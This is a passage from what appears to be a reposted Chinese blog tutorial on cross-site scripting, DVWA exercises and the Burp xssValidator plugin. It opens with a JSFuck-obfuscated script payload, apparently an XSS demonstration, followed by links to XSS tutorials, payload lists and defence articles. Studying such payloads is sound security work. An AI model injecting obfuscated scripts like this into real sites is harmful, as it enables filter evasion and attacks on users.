<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>

參考資料:

burp使用xssValidator插件

https://blog.csdn.net/u013175604/article/details/84841268

XSS payload大全

https://www.cnblogs.com/xiaozi/p/7268506.html

記一次跨站腳本攻擊(XSS)實(shí)例

http://blog.sina.com.cn/s/blog_9b7ed3d20102v92u.html

DVWA之DOM XSS(DOM型跨站腳本攻擊)

https://blog.csdn.net/qq_36119192/article/details/82932557

dvwa-XSS(DOM)超詳細(xì)

https://www.jianshu.com/p/001daa7cf1f5

DVWA XSS(Reflected) 通關(guān)教程

https://www.cnblogs.com/yyxianren/p/11381559.html

DVWA XSS(Stored) 通關(guān)教程

https://www.cnblogs.com/yyxianren/p/11381461.html

XSS防御方法總結(jié)

https://www.cnblogs.com/digdeep/p/4695348.html

Burp suit中 Xssvalidate使用介紹-推薦(XSS自動(dòng)掃描)

https://blog.csdn.net/m0_37268841/article/details/79961956

select下拉框的探索(<option></option>標(biāo)簽中能嵌套使用其它標(biāo)簽嗎)

https://www.cnblogs.com/tu-0718/p/7112836.html

《XSS跨站腳本攻擊剖析與防御》

總結(jié)

以上是生活随笔為你收集整理的XSS原理dvwaxssvalidator使用的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。